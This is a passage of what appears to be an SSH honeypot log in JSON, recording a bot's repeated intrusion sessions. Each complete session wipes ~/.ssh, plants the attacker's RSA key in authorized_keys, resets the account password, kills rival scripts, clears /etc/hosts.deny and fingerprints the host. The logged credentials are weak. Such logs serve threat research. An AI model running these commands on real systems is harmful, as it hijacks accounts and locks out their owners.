head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:10:42.373729+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"p@ck3tf3nc3","method":"password","accepted":true,"tier":"other"}]} {"id":"6d235e27-e165-46dc-8ac2-95f6bf835fed","name":"sterling-craggy-gibbon","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":37062,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:08:43.418751+00:00","ended_at":"2026-08-26T22:08:44.723626+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:08:21.669866+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:08:21.736460+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:08:25.384742+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:08:27.027066+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:08:27.093850+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MU9TSZYnhPJF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:08:27.160282+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:08:27.226892+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:08:28.540004+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:08:28.608952+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:08:28.835122+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:08:30.374836+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:08:30.452522+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:08:31.411924+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:08:31.489578+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:08:32.776005+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:08:32.801261+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:08:34.464010+00:00","kind":"output","latency_ms":null,"data":" 22:08:34 up 6 days, 18:58, 0 user, load average: 0.28, 0.34, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:08:34.530144+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:08:35.558188+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:08:35.629931+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:08:36.518343+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:08:36.588421+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:08:37.856444+00:00","kind":"output","latency_ms":null,"data":"top - 22:08:37 up 6 days, 18:58, 0 user, load average: 0.28, 0.34, 0.22\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:08:37.922647+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:08:38.789698+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:08:38.857888+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:08:39.740156+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:08:39.806700+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:08:41.654531+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:08:41.720595+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:08:43.332376+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:08:43.419517+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:08:44.709570+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"admin1234","method":"password","accepted":true,"tier":"other"}]} {"id":"3b24c531-37d5-4a03-b704-e7a0bc25d543","name":"loyal-hidden-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":56834,"username":"incoming","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:06:41.442149+00:00","ended_at":"2026-08-26T22:06:42.304238+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-26T22:06:16.386802+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:06:16.454524+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:06:19.089454+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:06:20.670429+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:06:20.740148+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nmqWSNa1Cv1rV\\nmqWSNa1Cv1rV\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:06:20.807036+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nmqWSNa1Cv1rV\\nmqWSNa1Cv1rV\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:06:20.876582+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:06:22.720758+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:06:22.899899+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:06:22.967295+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:06:22.972369+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:06:24.738973+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:06:24.813685+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T22:06:25.884474+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T22:06:25.955634+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T22:06:27.126836+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T22:06:27.193559+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T22:06:29.379108+00:00","kind":"output","latency_ms":null,"data":" 22:06:29 up 6 days, 18:56, 0 user, load average: 0.3, 0.3, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T22:06:29.449208+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T22:06:31.651914+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T22:06:31.720316+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T22:06:33.873212+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T22:06:33.940718+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T22:06:35.350184+00:00","kind":"output","latency_ms":null,"data":"top - 22:06:35 up 6 days, 18:56, 0 user, load average: 0.3, 0.3, 0.21\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T22:06:35.419038+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T22:06:37.414656+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T22:06:37.482868+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T22:06:38.672896+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T22:06:38.739946+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T22:06:40.093914+00:00","kind":"output","latency_ms":null,"data":"incoming"},{"seq":31,"at":"2026-08-26T22:06:40.170497+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T22:06:41.369611+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T22:06:41.443123+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T22:06:42.292477+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"incoming","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"c57d2cd2-02dc-4248-becb-7de5688deb67","name":"slender-sleepy-shearwater","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":55168,"username":"scott","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:04:41.876826+00:00","ended_at":"2026-08-26T22:04:43.752675+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-26T22:04:16.624228+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:04:16.691692+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:04:19.968011+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:04:21.911054+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:04:21.978788+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@ssw0rd\\nsg1WTUH1rXaR\\nsg1WTUH1rXaR\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:04:22.050219+00:00","kind":"input","latency_ms":null,"data":"echo \"P@ssw0rd\\nsg1WTUH1rXaR\\nsg1WTUH1rXaR\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:04:22.117958+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:04:23.135195+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:04:23.326116+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T22:04:23.475081+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T22:04:23.546032+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T22:04:25.334361+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:04:25.403820+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T22:04:26.940188+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T22:04:27.012725+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T22:04:28.379394+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T22:04:28.449882+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T22:04:30.566484+00:00","kind":"output","latency_ms":null,"data":" 22:04:30 up 6 days, 18:54, 0 user, load average: 0.21, 0.27, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T22:04:30.639390+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T22:04:32.806759+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T22:04:32.876267+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T22:04:34.861692+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T22:04:34.932552+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T22:04:35.788168+00:00","kind":"output","latency_ms":null,"data":"top - 22:04:35 up 6 days, 18:54, 0 user, load average: 0.21, 0.27, 0.25\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T22:04:35.859413+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T22:04:36.803675+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T22:04:36.875131+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T22:04:38.564753+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T22:04:38.633827+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T22:04:40.626570+00:00","kind":"output","latency_ms":null,"data":"scott"},{"seq":31,"at":"2026-08-26T22:04:40.704196+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T22:04:41.808824+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T22:04:41.877562+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T22:04:43.741624+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"scott","password":"P@ssw0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"9e0ea237-f358-4f21-9d07-7015e4e5e4d6","name":"gallant-icy-stork","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":45762,"username":"n8n","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:02:44.947266+00:00","ended_at":"2026-08-26T22:02:46.144310+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-26T22:02:21.123214+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:02:21.190547+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:02:23.657181+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:02:25.549623+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:02:25.615033+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nBhYHNGNcvree\\nBhYHNGNcvree\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:02:25.680930+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nBhYHNGNcvree\\nBhYHNGNcvree\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:02:25.747910+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:02:26.418275+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:02:26.897158+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T22:02:27.616888+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T22:02:27.688357+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T22:02:29.556165+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:02:29.626377+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T22:02:30.825551+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T22:02:30.893872+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T22:02:32.320014+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T22:02:32.386842+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T22:02:34.121216+00:00","kind":"output","latency_ms":null,"data":" 22:02:34 up 6 days, 18:52, 0 user, load average: 0.33, 0.24, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T22:02:34.175648+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T22:02:35.704802+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T22:02:35.770678+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T22:02:37.409733+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T22:02:37.479853+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T22:02:38.483620+00:00","kind":"output","latency_ms":null,"data":"top - 22:02:38 up 6 days, 18:52, 0 user, load average: 0.33, 0.24, 0.21\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T22:02:38.550538+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T22:02:39.783764+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T22:02:39.850063+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T22:02:41.247117+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T22:02:41.316100+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T22:02:42.779156+00:00","kind":"output","latency_ms":null,"data":"n8n"},{"seq":31,"at":"2026-08-26T22:02:42.848317+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T22:02:44.881094+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T22:02:44.948201+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T22:02:46.134910+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"n8n","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"5c3a7c5e-09ab-45fb-96f1-72a11c840af0","name":"lively-diligent-manatee","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":50540,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:00:42.826853+00:00","ended_at":"2026-08-26T22:00:44.379794+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:00:22.448832+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:00:22.514649+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 